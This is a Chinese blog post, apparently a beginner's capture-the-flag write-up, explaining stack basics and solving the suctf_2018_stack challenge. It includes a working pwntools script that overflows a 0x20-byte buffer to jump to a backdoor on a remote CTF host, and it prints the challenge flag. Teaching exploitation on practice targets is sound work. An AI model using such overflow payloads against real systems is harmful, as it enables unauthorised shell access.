pwn题:栈溢出方法(suctf_2018_stack)

30 篇文章 2 订阅

什么是栈

栈(stack)又名堆栈,它是一种运算受限的线性表。限定仅在表尾进行插入和删除操作的线性表。这一端被称为栈顶,相对地,把另一端称为栈底。向一个栈插入新元素又称作进栈、入栈或压栈,它是把新元素放到栈顶元素的上面,使之成为新的栈顶元素;从一个栈删除元素又称作出栈或退栈,它是把栈顶元素删除掉,使其相邻的元素成为新的栈顶元素。

栈溢出的利用

对于栈来说,栈是有两个操作,入栈(push)和出栈(push)这两个操作,栈还是先进后出的一个模式,所以可以无限制往下压,先去运行。
我这里用的是x32dbg。
在这里插入图片描述
这是一个窗口,分别代表的作用是什么。
在这里插入图片描述
在开辟完栈,才会对栈进行操作,简单的说明,就是我开辟一段地区,这里就是给我用的一块区域。
但是这个栈的大小是有限度的,这个栈的大小是0x24的大小。
在这里插入图片描述
在没有cancry的保护下,那么被溢出了,还是被正常的执行下去,但是在windows这些中,可能会报错,退出程序,我现在把这0x24空间,填满,现在看我的栈空间,我这里是00AFF278到00AFF254,是我自己申请的空间大小。
在这里插入图片描述
开始填充,现在看00AFF24C这里,被覆盖掉了
在这里插入图片描述
被覆盖成了AAAAAAA,之后我开始释放这个,由于我直接把AAAAAAA给了给了ebp,之后ret,程序就跑飞了,因为我这里里面并没有0AAAAAAA这个地址,之后引发报错。
在这里插入图片描述
我们来利用excel表格,来看一下。
如果输入的比栈的大,那么就会出现这种清空
假设:我这个栈的大小是0x24,但是我可以输入0x50字节的大小。
在这里插入图片描述
做题实验一下。

suctf_2018_stack

解析

下载附件,之后checksec一下
在这里插入图片描述
64位,无保护的文件。
在这里插入图片描述
漏洞的产生点在这里,这个buf可以从窗口下获取0x30个字节,但是在栈内,只有0x20个字节。
在这里插入图片描述
画个图
在这里插入图片描述
这样就可以造成栈溢出,发现这个可执行文件中,还有一个后门。
在这里插入图片描述
所以我们先让这个buf溢出这个栈,之后加上/bin/sh的地址,即可。

脚本

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#p = process('./SUCTF_2018_stack')
p = remote('node4.buuoj.cn',27398)
system = 0x0400677
#payload = b'填充的字符'*(buf的大小加上覆盖返回值的大小) + p64(shellcode的地址)
payload = b'a'*(0x20+0x08)+p64(system)
p.sendline(payload)
p.interactive()

最后获得flag是flag{94336642-f073-4380-8ba7-6dc4a3b34b1c}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值